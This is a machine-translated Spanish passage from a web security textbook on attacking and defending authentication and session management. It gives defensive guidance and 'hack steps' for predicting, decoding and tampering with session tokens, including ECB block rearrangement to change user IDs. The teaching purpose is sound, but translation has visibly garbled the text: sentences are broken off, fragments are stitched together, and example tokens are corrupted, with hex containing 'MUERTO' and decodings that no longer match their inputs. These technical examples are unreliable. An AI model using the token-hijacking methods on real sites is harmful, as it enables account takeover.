Se debe solicitar al usuario que los cambie en el primer inicio de sesión y se le debe indicar
que destruya la comunicación después del primer uso.
Los datos locales de sesión y método se utilizan para controlar el estado del procesamiento
de inicio de sesión y deben invalidar explícitamente la sesión actual, lo que provoca un
cierre de sesión forzado por parte del servidor, incluso si la autenticación se omite de
alguna manera.
admitir la suplantación de identidad del usuario, esto debe controlarse estrictamente para
garantizar que no se pueda utilizar indebidamente para obtener acceso no autorizado.
Debido a la criticidad de la funcionalidad, a menudo vale la pena eliminar esta
funcionalidad de la aplicación pública e implementarla solo para usuarios administrativos
internos, cuyo uso de suplantación de identidad debe controlarse y auditarse estrictamente.
n Los inicios de sesión en varias etapas deben controlarse estrictamente para evitar que un
atacante interfiera con las transiciones y relaciones entre las etapas:
n Todos los datos sobre el progreso a través de las etapas y los resultados de las tareas
de validación anteriores deben mantenerse en el objeto de sesión del lado del servidor
y nunca deben transmitirse ni leerse del cliente.
n El usuario no debe enviar elementos de información más de una vez , y no debe existir
ningún medio para que el usuario modifique los datos que ya han sido recopilados y/
o validados. Cuando un elemento de datos , como un nombre de usuario, se usa en
varias etapas, debe almacenarse en una variable de sesión cuando se recopila por
primera vez y se hace referencia desde allí.
después.
n La primera tarea a realizar en cada etapa debe ser verificar que todas las etapas
anteriores se hayan completado correctamente. Si este no es el caso, el intento de
autenticación debe marcarse inmediatamente como malo. n Para evitar la fuga de
información sobre qué etapa del inicio de sesión falló (lo que permitiría a un atacante
apuntar a cada etapa por turno), la aplicación siempre debe continuar con todas las
etapas del inicio de sesión, incluso si el usuario no pudo completar las etapas
anteriores correctamente. e incluso si el nombre de usuario original no era válido.
Después de pasar por todas las etapas, la aplicación debe presentar un mensaje
genérico de "fallo de inicio de sesión" al final de la etapa final, sin proporcionar
ninguna información sobre dónde ocurrió la falla.
n Cuando un proceso de inicio de sesión incluya una pregunta que varía aleatoriamente,
asegúrese de que un atacante no pueda elegir efectivamente su propia pregunta: n
Emplee siempre un proceso de varias etapas en el que los usuarios se identifican en una
etapa inicial y se les presenta la pregunta que varía aleatoriamente en una etapa
posterior .
Machine Translated by Google
n Si la aplicación admite el registro automático, puede evitar que esta función se use para
enumerar nombres de usuario existentes de dos maneras:
n Es necesario aplicar medidas dentro de todos los diversos desafíos implementados por la
funcionalidad de autenticación para evitar ataques que intenten resolver esos desafíos
mediante la automatización. Esto incluye el inicio de sesión en sí,
Machine Translated by Google
así como funciones para cambiar la contraseña, para recuperarse de una situación de
contraseña olvidada, y similares. n El uso de nombres de usuario impredecibles y la
n Algunas aplicaciones críticas para la seguridad (como los bancos en línea) simplemente
desactivan una cuenta después de una pequeña cantidad de inicios de sesión fallidos
(como tres). También requieren que el propietario de la cuenta tome varios pasos fuera de
banda para reactivar la cuenta, como llamar por teléfono al servicio de atención al cliente
y responder una serie de preguntas de seguridad. Las desventajas de esta política son
que permite que un atacante deniegue el servicio a usuarios legítimos al deshabilitar
repetidamente sus cuentas y el costo de proporcionar el servicio de recuperación de
cuenta. Una política más equilibrada, adecuada para la mayoría de las aplicaciones
conscientes de la seguridad, es suspender las cuentas por un período corto (como 30
minutos) después de una pequeña cantidad de intentos fallidos de inicio de sesión (como
tres). Esto sirve para ralentizar enormemente cualquier ataque de adivinación de
contraseñas, al tiempo que mitiga el riesgo de ataques de denegación de servicio y
n Las métricas de la política no deben ser divulgadas a los usuarios. El simple hecho de
decirle a los usuarios legítimos que "inténtenlo de nuevo más tarde" no disminuye
seriamente la calidad del servicio. Pero informar a un atacante exactamente cuántos
intentos fallidos se toleran y cuánto dura el período de suspensión le permite optimizar
cualquier intento de seguir adivinando contraseñas a pesar de la política.
n Si se suspende una cuenta, los intentos de inicio de sesión deben rechazarse sin
siquiera verificar las credenciales. Algunas aplicaciones que han implementado una
política de suspensión siguen siendo vulnerables a la fuerza bruta porque continúan
procesando por completo los intentos de inicio de sesión durante el período de
suspensión y devuelven un mensaje ligeramente (o no tan sutil) diferente cuando se
envían credenciales válidas. Este comportamiento permite que un ataque efectivo de
fuerza bruta avance a toda velocidad independientemente de la política de suspensión.
Machine Translated by Google
SUGERENCIA Si está atacando una aplicación que usa controles CAPTCHA para
dificultar la automatización, siempre revise detenidamente la fuente HTML de la página
donde aparece la imagen. Los autores se han encontrado con casos en los que la solución
Machine Translated by Google
a la función desde una sesión autenticada. n No debe haber ninguna instalación para
evitar errores. La aplicación debe comparar los campos “nueva contraseña” y “confirmar nueva
contraseña” como primer paso y devolver un error informativo si no coinciden. n La función
debe prevenir los diversos ataques que se pueden realizar contra el mecanismo principal
de inicio de sesión. Se debe usar un único mensaje de error genérico para notificar a los
usuarios sobre cualquier error en las credenciales existentes, y la función se debe
suspender temporalmente luego de una pequeña cantidad de intentos fallidos de cambiar
la contraseña.
n Se debe notificar a los usuarios fuera de banda (por ejemplo, por correo electrónico) que
se ha cambiado su contraseña, pero el mensaje no debe contener ni sus credenciales
antiguas ni las nuevas.
n En las aplicaciones más críticas para la seguridad, como la banca en línea, la recuperación
de la cuenta en caso de que se olvide la contraseña se maneja fuera de banda. Un
usuario debe realizar una llamada telefónica y responder a una serie de preguntas de
seguridad, y también se envían nuevas credenciales o un código de reactivación fuera de
banda (vía correo convencional) a la dirección de domicilio registrada del usuario. La
mayoría de las aplicaciones no quieren ni necesitan este nivel de seguridad, por lo que
una función de recuperación automática puede ser apropiada.
Machine Translated by Google
n Un mecanismo de recuperación de contraseña bien diseñado debe evitar que las cuentas
se vean comprometidas por una parte no autorizada y minimizar cualquier interrupción
para los usuarios legítimos. n Nunca se deben usar funciones como "sugerencias" de
usuarios recuperen el control de las cuentas es enviar por correo electrónico al usuario una
URL de recuperación única, por tiempo limitado, indescifrable y de un solo uso . Este
correo electrónico debe enviarse a la dirección que el usuario proporcionó durante el
registro. Visitar la URL le permite al usuario establecer una nueva contraseña . Una vez
hecho esto, se debe enviar un segundo correo electrónico, indicando que se realizó un
cambio de contraseña. Para evitar que un atacante niegue el servicio a los usuarios
solicitando continuamente correos electrónicos de reactivación de contraseña, las
credenciales existentes del usuario deben seguir siendo válidas hasta que se cambien. n
Para proteger aún más contra el acceso no autorizado, las aplicaciones pueden presentar a
los usuarios un desafío secundario que deben completar antes de obtener acceso a la
función de restablecimiento de contraseña. Asegúrese de que el diseño de este desafío
no introduzca nuevas vulnerabilidades:
n La aplicación debe registrar todos los eventos relacionados con la autenticación, incluido el inicio de
sesión, el cierre de sesión, el cambio de contraseña, el restablecimiento de contraseña, la
suspensión de la cuenta y la recuperación de la cuenta. Cuando corresponda, se deben registrar
tanto los intentos fallidos como los exitosos . Los registros deben contener todos los detalles
relevantes (como el nombre de usuario y la dirección IP), pero no los secretos de seguridad (como las contraseñas).
Los registros deben estar fuertemente protegidos contra el acceso no autorizado, ya que son una
fuente crítica de fuga de información.
n Las anomalías en los eventos de autenticación deben ser procesadas por la función de prevención
de intrusos y alertas en tiempo real de la aplicación. Por ejemplo, los administradores de aplicaciones
deben ser conscientes de los patrones que indican ataques de fuerza bruta para que se puedan
considerar las medidas defensivas y ofensivas adecuadas.
n Los usuarios deben ser notificados fuera de banda de cualquier evento de seguridad crítico. Por
ejemplo, la aplicación debería enviar un mensaje a la dirección de correo electrónico registrada de
un usuario cada vez que cambie su contraseña.
n Los usuarios deben ser notificados en banda de los eventos de seguridad que ocurren con frecuencia.
Por ejemplo, después de un inicio de sesión exitoso, la aplicación debe informar a los usuarios la
hora y el dominio/IP de origen del último inicio de sesión y la cantidad de intentos de inicio de
sesión no válidos realizados desde entonces. Si un usuario es consciente de que su cuenta está
siendo objeto de un ataque de adivinación de contraseña, es más probable que cambie su
contraseña con frecuencia y la establezca en un valor seguro.
Resumen
Las funciones de autenticación son quizás el objetivo más destacado en la superficie de ataque de una
aplicación típica. Por definición, pueden ser alcanzados por usuarios anónimos y sin privilegios. Si se
rompen, otorgan acceso a funciones protegidas y datos confidenciales. Se encuentran en el núcleo de los
mecanismos de seguridad que emplea una aplicación para defenderse y son la primera línea de defensa
contra el acceso no autorizado.
Los mecanismos de autenticación del mundo real contienen una miríada de fallas de
diseño e implementación . Un ataque eficaz contra ellos debe proceder sistemáticamente ,
usando una metodología estructurada para trabajar a través de todas las posibles vías de
ataque. En muchos casos, se presentan objetivos abiertos: malas contraseñas, formas de
averiguar nombres de usuario, vulnerabilidad a ataques de fuerza bruta. En el otro extremo
del espectro, los defectos pueden ser muy difíciles de descubrir. Pueden requerir un examen
meticuloso de un complicado proceso de inicio de sesión para establecer las suposiciones que se están haciendo
Machine Translated by Google
hecho y para ayudarlo a detectar la falla lógica sutil que puede explotarse
para atravesar la puerta.
La lección más importante al atacar la funcionalidad de autenticación es buscar en todas partes.
Además del formulario de inicio de sesión principal, puede haber funciones para registrar nuevas
cuentas, cambiar contraseñas, recordar contraseñas, recuperar contraseñas olvidadas y suplantar a
otros usuarios. Cada uno de estos presenta un rico objetivo de defectos potenciales, y los problemas
que han sido eliminados conscientemente dentro de una función a menudo vuelven a surgir dentro de
otras. Invierta el tiempo para escudriñar y sondear cada centímetro de superficie de ataque que pueda
encontrar, y sus recompensas pueden ser excelentes.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. Mientras prueba una aplicación web, inicia sesión con sus credenciales de joe y pass. Durante
el proceso de inicio de sesión, verá que aparece una solicitud de la siguiente URL en su proxy
de interceptación:
http://www.wahh-app.com/app?action=login&uname=joe&password=contraseña
¿Por qué se solicita la información requerida en dos pasos separados? ¿Qué defecto tendría
el mecanismo si no fuera así?
4. Un mecanismo de inicio de sesión de varias etapas primero solicita el nombre de usuario del
usuario y luego varios otros elementos en etapas sucesivas. Si algún elemento proporcionado
no es válido, el usuario vuelve inmediatamente a la primera etapa.
Capítulo R
205
Machine Translated by Google
Este capítulo analiza todos los tipos de debilidades que los autores han encontrado
en las aplicaciones web del mundo real. Establece en detalle los pasos prácticos que
debe seguir para encontrar y explotar estos defectos. Finalmente, describe las medidas
defensivas que deben tomar las aplicaciones para protegerse contra estos ataques.
MITO COMÚN
Examinaremos cada una de estas áreas a la vez, describiendo los diferentes tipos de
defectos que se encuentran comúnmente en los mecanismos de administración de sesiones
del mundo real y las técnicas prácticas para descubrirlos y explotarlos. Finalmente,
describiremos las medidas que las aplicaciones pueden tomar para defenderse de estos
ataques.
Machine Translated by Google
PASOS DE HACK
2. A veces, los elementos que parecen ser el token de sesión de la aplicación pueden no
serlo. En particular, la cookie de sesión estándar generada por el servidor web o la
plataforma de la aplicación puede estar presente pero la aplicación no la utiliza
realmente.
4. Para verificar qué elementos se están empleando realmente como tokens, busque una
página que definitivamente dependa de la sesión (como una página de "mis detalles"
específica del usuario). Realice varias solicitudes para ello, eliminando sistemáticamente
cada elemento que sospeche que se está utilizando como token. Si la eliminación de
un elemento hace que no se devuelva la página dependiente de la sesión, esto puede
confirmar que el elemento es un token de sesión. Burp Repeater es una herramienta
útil para realizar estas pruebas.
para que una aplicación vuelva a identificar al usuario a través de múltiples solicitudes
sin usar sesiones. Sin embargo, la autenticación HTTP rara vez se usa en aplicaciones
basadas en Internet de cualquier complejidad, y los otros beneficios versátiles que
ofrecen los mecanismos de sesión completos significan que prácticamente todas las
aplicaciones web emplean estos mecanismos.
n Mecanismos de estado sin sesión: algunas aplicaciones no emiten tokens de
sesión para administrar el estado de la interacción de un usuario con la aplicación.
En su lugar, transmiten todos los datos necesarios para gestionar ese estado a través
del cliente, normalmente en una cookie o en un campo de formulario oculto. En
efecto, este mecanismo utiliza un estado sin sesión de forma muy parecida a como
lo hace ASP.NET ViewState . Para que este tipo de mecanismo sea seguro, los datos
transmitidos a través del cliente deben estar debidamente protegidos. Por lo general,
esto implica construir un blob binario que contenga toda la información de estado y
cifrarlo o firmarlo mediante un algoritmo reconocido. Se debe incluir suficiente
contexto dentro de los datos para evitar que un atacante recopile un objeto de estado
en una ubicación dentro de la aplicación y lo envíe a otra ubicación para causar algún
comportamiento no deseado. La aplicación también puede incluir un tiempo de
caducidad dentro de los datos del objeto para realizar el equivalente a los tiempos de espera de sesión.
El Capítulo 5 describe con más detalle los mecanismos seguros para transmitir datos
a través del cliente.
PASOS DE HACK
Los mecanismos de gestión de sesiones a menudo son vulnerables a los ataques porque
los tokens se generan de una manera no segura que permite a un atacante identificar los
valores de los tokens que se han emitido a otros usuarios.
del usuario n Tokens colocados en campos de formulario ocultos para evitar la falsificación de solicitudes entre sitios
ataques (ver Capítulo 13)
n Tokens que permiten a los clientes de una aplicación de compras que no utiliza
autenticación recuperar el estado actual de un pedido existente
Fichas significativas
Algunos tokens de sesión se crean mediante una transformación del nombre de usuario o la
dirección de correo electrónico del usuario, u otra información asociada con esa persona. Esta
información puede estar codificada u ofuscada de alguna manera y puede combinarse con otros
datos.
Por ejemplo, el siguiente token puede parecer inicialmente una cadena aleatoria larga:
757365723d6461663b6170703d61646d696e3b646174653d30312f31322f3131
Sin embargo, en una inspección más cercana, puede ver que contiene solo caracteres
hexadecimales. Suponiendo que la cadena en realidad puede ser una codificación hexadecimal
de una cadena de caracteres ASCII, puede ejecutarla a través de un decodificador para revelar lo siguiente:
usuario=daf;aplicación=admin;fecha=10/09/11
Machine Translated by Google
Los atacantes pueden explotar el significado dentro de este token de sesión para intentar
adivinar las sesiones actuales de otros usuarios de la aplicación. Utilizando una lista de nombres
de usuario enumerados o comunes, pueden generar rápidamente grandes cantidades de tokens
potencialmente válidos y probarlos para confirmar cuáles son válidos.
Los tokens que contienen datos significativos a menudo exhiben una estructura. En otras
palabras, contienen varios componentes, a menudo separados por un delimitador, que se
pueden extraer y analizar por separado para permitir que un atacante comprenda su función y
medios de generación. Estos son algunos componentes que se pueden encontrar dentro de los
tokens estructurados:
NOTA Cuando una aplicación maneja una solicitud que contiene un token
estructurado, es posible que en realidad no procese todos los componentes
con el token o todos los datos contenidos en cada componente. En el ejemplo
anterior, la aplicación puede decodificar en Base64 el token y luego procesar
solo los componentes "usuario" y "fecha". En los casos en que un token
contiene una gota de datos binarios, gran parte de estos datos pueden ser
rellenos. Solo una pequeña parte puede ser relevante para la validación que el
servidor realiza en el token. Reducir las subpartes de un token que realmente
se requieren a menudo puede reducir considerablemente la cantidad de entropía aparente y complej
Machine Translated by Google
PASOS DE HACK
2. Inicie sesión como varios usuarios diferentes en diferentes momentos y registre los tokens
recibido del servidor. Si el registro automático está disponible y puede elegir su nombre
de usuario, inicie sesión con una serie de nombres de usuario similares que contengan
pequeñas variaciones entre ellos, como A, AA, AAA, AAAA, AAAB, AAAC, AABA, etc.
Si se envían otros datos específicos del usuario al iniciar sesión o se almacenan en
perfiles de usuario (como una dirección de correo electrónico), realice un ejercicio
similar para variar esos datos sistemáticamente y registre los tokens recibidos después del inicio de sesión.
3. Analice los tokens en busca de correlaciones que parezcan estar relacionadas con el
nombre de usuario y otros datos controlables por el usuario.
¡INTENTALO!
http://mdsec.net/auth/321/
http://mdsec.net/auth/329/
http://mdsec.net/auth/331/
Machine Translated by Google
Fichas predecibles
Algunos tokens de sesión no contienen datos significativos que los asocien con un usuario
en particular. Sin embargo, se pueden adivinar porque contienen secuencias o patrones que
permiten a un atacante extrapolar a partir de una muestra de tokens para encontrar otros
tokens válidos emitidos recientemente por la aplicación. Incluso si la extrapolación implica
alguna prueba y error (por ejemplo, una suposición válida cada 1000 intentos), esto aún
permitiría un ataque automatizado para identificar una gran cantidad de tokens válidos en un
período de tiempo relativamente corto.
Las vulnerabilidades relacionadas con la generación predecible de tokens pueden ser
mucho más fáciles de descubrir en implementaciones comerciales de gestión de sesiones,
como servidores web o plataformas de aplicaciones web, que en aplicaciones a medida.
Cuando se dirige de forma remota a un mecanismo de administración de sesiones
personalizado, su muestra de tokens emitidos puede estar restringida por la capacidad del
servidor, la actividad de otros usuarios, su ancho de banda, la latencia de la red, etc. Sin
embargo, en un entorno de laboratorio, puede crear rápidamente millones de tokens de
muestra, todos secuenciados con precisión y con marca de tiempo, y puede eliminar la
interferencia causada por otros usuarios.
En los casos más simples y descaradamente vulnerables, una aplicación puede usar un
número secuencial simple como token de sesión. En este caso, solo necesita obtener una
muestra de dos o tres tokens antes de lanzar un ataque que capturará rápidamente el 100%
de las sesiones actualmente válidas.
La Figura 7-1 muestra el uso de Burp Intruder para recorrer los últimos dos dígitos de un
token de sesión secuencial para encontrar valores en los que la sesión todavía está activa y
puede ser secuestrada. Aquí, la longitud de la respuesta del servidor es un indicador fiable
de que se ha encontrado una sesión válida. La función extract grep también se ha utilizado
para mostrar el nombre del usuario que inició sesión para cada sesión.
En otros casos, los tokens de una aplicación pueden contener secuencias más elaboradas
que requieren cierto esfuerzo para descubrir. Los tipos de variaciones potenciales que puede
encontrar aquí son abiertos, pero la experiencia de los autores en el campo indica que los
tokens de sesión predecibles comúnmente surgen de tres fuentes diferentes:
n Secuencias ocultas n
Dependencia del tiempo n
Débil generación de números aleatorios
Secuencias ocultas
Es común encontrar tokens de sesión que no se pueden predecir fácilmente cuando se
analizan en su forma original, pero que contienen secuencias que se revelan cuando los
tokens se decodifican o desempaquetan adecuadamente.
Machine Translated by Google
Figura 7-1: Un ataque para descubrir sesiones válidas donde el token de sesión
es predecible
Guau
Ls3Ajg
xpKr+A
XleXYg
9hycza
jefung
JaZZoA
No se puede discernir ningún patrón inmediato; sin embargo, una inspección superficial indica
que los tokens pueden contener datos codificados en Base64. Además de los caracteres
alfabéticos y numéricos en mayúsculas y minúsculas, hay un carácter +, que también es válido
en una cadena codificada en Base64. Ejecutar los tokens a través de un decodificador Base64
revela lo siguiente:
--
Õ$ .ÍÀŽ
Æ'«ø
^Wb
ì?
frase6
%¦Y
Machine Translated by Google
9708D524
2ECDC08E
C692ABF8
5E579762
F61C82CC
8DE16E36
25A659A0
Todavía no hay un patrón visible. Sin embargo, si restas cada número del anterior,
llegas a lo siguiente:
FF97C4EB6A
97C4EB6A
FF97C4EB6A
97C4EB6A
FF97C4EB6A
FF97C4EB6A
que inmediatamente revela el patrón oculto. El algoritmo utilizado para generar tokens
agrega 0x97C4EB6A al valor anterior, trunca el resultado a un número de 32 bits y
codifica en Base64 estos datos binarios para permitir su transporte mediante el
protocolo HTTP basado en texto. Con este conocimiento, puede escribir fácilmente un
script para producir la serie de tokens que el servidor producirá a continuación y la serie
que produjo antes de la muestra capturada.
3124538-1172764258718
3124539-1172764259062
3124540-1172764259281
3124541-1172764259734
3124542-1172764260046
3124543-1172764260156
Machine Translated by Google
3124544-1172764260296
3124545-1172764260421
3124546-1172764260812
3124547-1172764260890
344
219
453
312
110
140
125
391
78
3124553-1172764800468
3124554-1172764800609
3124555-1172764801109
3124556-1172764801406
3124557-1172764801703
3124558-1172764802125
3124559-1172764802500
3124560-1172764802656
3124561-1172764803125
3124562-1172764803562
Comparando esta segunda secuencia de fichas con la primera, dos puntos son
inmediatamente obvios:
Esta segunda observación nos alerta de inmediato sobre el papel que juega el tiempo
en la generación de tokens de sesión. Aparentemente, solo se han emitido cinco tokens
entre los dos ejercicios de obtención de tokens. Sin embargo, ha transcurrido un período
de aproximadamente 10 minutos. La explicación más probable es que el segundo número
depende del tiempo y es probablemente una simple cuenta de milisegundos.
De hecho, nuestra corazonada es correcta. En una fase posterior de nuestras pruebas, realizamos
una revisión de código, que revela el siguiente algoritmo de generación de tokens:
System.currentTimeMills();
Dado nuestro análisis de cómo se crean los tokens, es sencillo construir un ataque
con secuencias de comandos para recolectar los tokens de sesión que la aplicación emite
a otros usuarios:
n Continuamos sondeando el servidor para obtener nuevos tokens de sesión en forma rápida.
sucesión.
¡INTENTALO!
http://mdsec.net/auth/339/
http://mdsec.net/auth/340/
http://mdsec.net/auth/347/
http://mdsec.net/auth/351/
Machine Translated by Google
Muy poco de lo que ocurre dentro de una computadora es aleatorio. Por lo tanto, cuando
se requiere aleatoriedad para algún propósito, el software usa varias técnicas para
generar números de manera pseudoaleatoria. Algunos de los algoritmos utilizados
producen secuencias que parecen ser estocásticas y manifiestan una distribución
uniforme en el rango de valores posibles. Sin embargo, pueden ser extrapolados hacia
adelante o hacia atrás con perfecta precisión por cualquiera que obtenga una pequeña muestra de valores.
Cuando se usa un generador de números pseudoaleatorios predecibles para producir tokens
de sesión, los tokens resultantes son vulnerables a la secuenciación por parte de un atacante.
Jetty es un popular servidor web escrito 100% en Java que proporciona un mecanismo
de gestión de sesiones para que lo utilicen las aplicaciones que se ejecutan en él. En
2006, Chris Anley de NGSSoftware descubrió que el mecanismo era vulnerable a un
ataque de predicción de token de sesión. El servidor usó la API de Java java.util.Random
para generar tokens de sesión. Esto implementa un "generador lineal congruente", que
genera el siguiente número en la secuencia de la siguiente manera:
Este algoritmo toma el último número generado, lo multiplica por una constante y
suma otra constante para obtener el siguiente número. El número se trunca a 48 bits y
el algoritmo cambia el resultado para devolver el número específico de bits solicitado por
la persona que llama.
Conociendo este algoritmo y un solo número generado por él, podemos derivar
fácilmente la secuencia de números que el algoritmo generará a continuación. Con un
poco de teoría de números, también podemos derivar la secuencia que generó
previamente. Esto significa que un atacante que obtiene un único token de sesión del
servidor puede obtener los tokens de todas las sesiones actuales y futuras.
basado en la dirección IP del cliente, el tiempo de época en la creación del token, los
microsegundos en la creación del token y un generador lineal congruente. Aunque hay
varios valores desconocidos aquí, algunas aplicaciones pueden revelar información que
permita inferirlos. Un sitio de redes sociales puede revelar la hora de inicio de sesión y la
dirección IP de los usuarios del sitio. Además, la semilla utilizada en este generador es el
momento en que se inició el proceso de PHP, que podría determinarse dentro de un
pequeño rango de valores si el atacante está monitoreando el servidor.
configure varias opciones que afectan la forma en que se recopilan los tokens y
luego haga clic en el botón Iniciar captura para comenzar a capturar tokens. Si ya
obtuvo una muestra adecuada de tokens por otros medios (por ejemplo, al guardar
los resultados de un ataque de Burp Intruder), puede usar la pestaña de carga
manual para omitir la captura de tokens y pasar directamente al análisis estadístico.
Figura 7-2: Configuración de Burp Sequencer para probar la aleatoriedad de un token de sesión
Cuando haya obtenido una muestra adecuada de fichas, puede realizar el análisis
estadístico de la muestra. También puede realizar análisis intermedios mientras aún se
captura la muestra. En general, obtener una muestra más grande mejora la confiabilidad del
análisis. El tamaño de muestra mínimo que requiere Burp es de 100 fichas, pero lo ideal es
que obtenga una muestra mucho más grande que esta. Si el análisis de unos cientos de
tokens muestra de manera concluyente que los tokens fallan en las pruebas de aleatoriedad,
puede decidir razonablemente que no es necesario capturar más tokens. De lo contrario,
debe continuar capturando tokens y volver a realizar el análisis periódicamente. Si captura
5.000 tokens que pasan las pruebas de aleatoriedad, puede decidir que esto es suficiente.
Sin embargo, para lograr el cumplimiento de las pruebas formales de aleatoriedad de FIPS,
debe obtener una muestra de 20 000 tokens. Este es el tamaño de muestra más grande que
admite Burp.
Burp Sequencer realiza las pruebas estadísticas a nivel de caracteres y bits.
Los resultados de todas las pruebas se agregan para dar una estimación general del número
Machine Translated by Google
Figura 7-3: Análisis de los resultados de Burp Sequencer para comprender las propiedades
de los tokens que se probaron
Tenga en cuenta que Burp realiza todas las pruebas individualmente en cada carácter
y bit de datos dentro del token. En muchos casos, encontrará que gran parte de un token
estructurado no es aleatorio; esto en sí mismo puede no presentar ningún tipo de debilidad.
Lo que importa es que el token contenga un número suficiente de bits que pasen las
pruebas de aleatoriedad. Por ejemplo, si un token grande contiene 1000 bits de información,
y solo 50 de estos bits pasan las pruebas de aleatoriedad, el token como un todo no es
menos robusto que un token de 50 bits que pasa completamente las pruebas.
Machine Translated by Google
En segundo lugar, las fichas que fallan en las pruebas estadísticas de aleatoriedad
pueden no ser realmente predecibles en ninguna situación práctica. Si un bit dado de un
token no pasa las pruebas, esto significa únicamente que la secuencia de bits observada
en esa posición contiene características que es poco probable que ocurran en un token genuinamente aleatorio.
Pero intentar predecir el valor de ese bit en el siguiente token, en función de las
características observadas, puede ser un poco más fiable que una conjetura a ciegas.
Multiplicar esta falta de confiabilidad a través de una gran cantidad de bits que deben
predecirse simultáneamente puede significar que la probabilidad de hacer una
predicción correcta es extremadamente baja.
PASOS DE HACK
n La aplicación crea una nueva sesión cada vez que se recibe una solicitud que
no envía un token.
2. En Burp Suite, envíe la solicitud que crea una nueva sesión a Burp
Secuenciador y configure la ubicación del token. Luego comience una captura
en vivo para reunir tantos tokens como sea posible. Si se utiliza un mecanismo de
administración de sesión personalizado y solo tiene acceso remoto a la aplicación,
recopile los tokens lo más rápido posible para minimizar la pérdida de tokens
emitidos a otros usuarios y reducir la influencia de cualquier dependencia de tiempo.
¡INTENTALO!
http://mdsec.net/auth/361/
Fichas encriptadas
Algunas aplicaciones usan tokens que contienen información significativa sobre
el usuario y buscan evitar los problemas obvios que esto conlleva encriptando los
tokens antes de que se entreguen a los usuarios. Dado que los tokens se cifran
con una clave secreta que los usuarios desconocen, este parece ser un enfoque
sólido, ya que los usuarios no podrán descifrar los tokens ni alterar su contenido.
Machine Translated by Google
Las aplicaciones que emplean tokens cifrados utilizan un algoritmo de cifrado simétrico
para que los tokens recibidos de los usuarios puedan descifrarse para recuperar su
contenido significativo. Algunos algoritmos de cifrado simétrico utilizan un "libro de códigos electrónico"
(BCE) cifrado. Este tipo de cifrado divide el texto sin formato en bloques del mismo tamaño
( como 8 bytes cada uno) y cifra cada bloque con la clave secreta. Durante el descifrado , cada
bloque de texto cifrado se descifra utilizando la misma clave para recuperar el bloque original
de texto sin formato. Una característica de este método es que los patrones dentro del texto sin
formato pueden generar patrones dentro del texto cifrado, porque los bloques idénticos de texto
sin formato se cifrarán en bloques idénticos de texto cifrado. Para algunos tipos de datos, como
imágenes de mapa de bits, esto significa que la información significativa del texto sin formato
se puede discernir dentro del texto cifrado, como se ilustra en la Figura 7-4.
A pesar de esta deficiencia con ECB, estos cifrados se utilizan a menudo para cifrar
información dentro de las aplicaciones web. Incluso en situaciones en las que no surge el
problema de los patrones dentro del texto sin formato, aún pueden existir vulnerabilidades. Esto
se debe al comportamiento del cifrado de cifrar bloques de texto sin formato idénticos en
bloques de texto cifrado idénticos.
Considere una aplicación cuyos tokens contienen varios significados diferentes
componentes, incluido un identificador de usuario numérico:
rnd=2458992;aplicación=iTradeEUR_1;uid=218;nombre de usuario=david;hora=634430423694715
000;
Machine Translated by Google
Cuando este token está encriptado, aparentemente no tiene sentido y es probable que pase
todas las pruebas estadísticas estándar de aleatoriedad:
68BAC980742B9EF80A27CBBBC0618E3876FF3D6C6E6A7B9CB8FCA486F9E11922776F0307
329140AABD223F003A8309DDB6B970C47BA2E249A0670592D74BCD07D51A3E150EFC2E69
885A5C8131E4210F
rnd=2458 68BAC980742B9EF8
992;app= 0A27CBBBC0618E38
iTradeEU 76FF3D6C6E6A7B9C
R_1;uid= B8FCA486F9E11922
218;usuario 776F0307329140AA
nombre=daf BD223F003A8309DD
hora B6B970C47BA2E249
=6344304 A0670592D74BCD07
23694715 D51A3E150EFC2E69
000; 885A5C8131E4210F
Ahora, debido a que cada bloque de texto cifrado siempre se descifrará en el mismo
bloque de texto sin formato, es posible que un atacante manipule la secuencia de bloques
de texto cifrado para modificar el texto sin formato correspondiente de manera significativa.
Dependiendo de cómo la aplicación procese exactamente el token descifrado resultante,
esto puede permitir que el atacante cambie a un usuario diferente o aumente los privilegios.
rnd=2458 68BAC980742B9EF8
992;app= 0A27CBBBC0618E38
iTradeEU 76FF3D6C6E6A7B9C
R_1;uid= B8FCA486F9E11922
992;aplicación= 0A27CBBBC0618E38
218;usuario 776F0307329140AA
nombre=daf BD223F003A8309DD
hora B6B970C47BA2E249
=6344304 A0670592D74BCD07
23694715 D51A3E150EFC2E69
000; 885A5C8131E4210F
El ataque que acabamos de describir dependería de que se emita un valor rnd adecuado que
corresponda a un valor uid válido cuando se manipulen los bloques.
Un ataque alternativo y más confiable sería registrar un nombre de usuario que contenga un
valor numérico en el desplazamiento apropiado y duplicar este bloque para reemplazar el valor
uid existente . Suponga que registra el nombre de usuario daf1 y recibe el siguiente token:
9A5A47BF9B3B6603708F9MUERTO67C7F4C76FF3D6C6E6A7B9CB8FCA486F9E11922A5BC430A
73B38C14BD223F003A8309DDF29A5A6F0DC06C53905B5366F5F4684C0D2BBBB08BD834BB
ADEBC07FFE87819D
Los bloques de texto sin formato y texto cifrado para este token son los siguientes:
rnd=9224 9A5A47BF9B3B6603
856;app= 708F9MUERTO67C7F4C
iTradeEU 76FF3D6C6E6A7B9C
R_1;uid= B8FCA486F9E11922
219;usuario A5BC430A73B38C14
nombre=daf BD223F003A8309DD
1;tiempo=6 F29A5A6F0DC06C53
34430503 905B5366F5F4684C
61065250 0D2BBBB08BD834BB
0; ADEBC07FFE87819D
Si luego duplica el séptimo bloque después del cuarto bloque, su token descifrado contendrá
un valor uid de 1:
rnd=9224 9A5A47BF9B3B6603
856;app= 708F9MUERTO67C7F4C
iTradeEU 76FF3D6C6E6A7B9C
R_1;uid= B8FCA486F9E11922
1;tiempo=6 F29A5A6F0DC06C53
219;usuario A5BC430A73B38C14
nombre=daf BD223F003A8309DD
1;tiempo=6 F29A5A6F0DC06C53
34430503 905B5366F5F4684C
61065250 0D2BBBB08BD834BB
0; ADEBC07FFE87819D
¡INTENTALO!
http://mdsec.net/auth/363/
Machine Translated by Google
Cifrados CBC
Las deficiencias en los cifrados ECB llevaron al desarrollo de cifrados de encadenamiento de
bloques de cifrado (CBC). Con un cifrado CBC, antes de cifrar cada bloque de texto sin formato,
se realiza un XOR contra el bloque de texto cifrado anterior, como se muestra en la figura 7-5.
Esto evita que los bloques de texto sin formato idénticos se cifren en bloques de texto
cifrado idénticos . Durante el descifrado, la operación XOR se aplica a la inversa, y cada
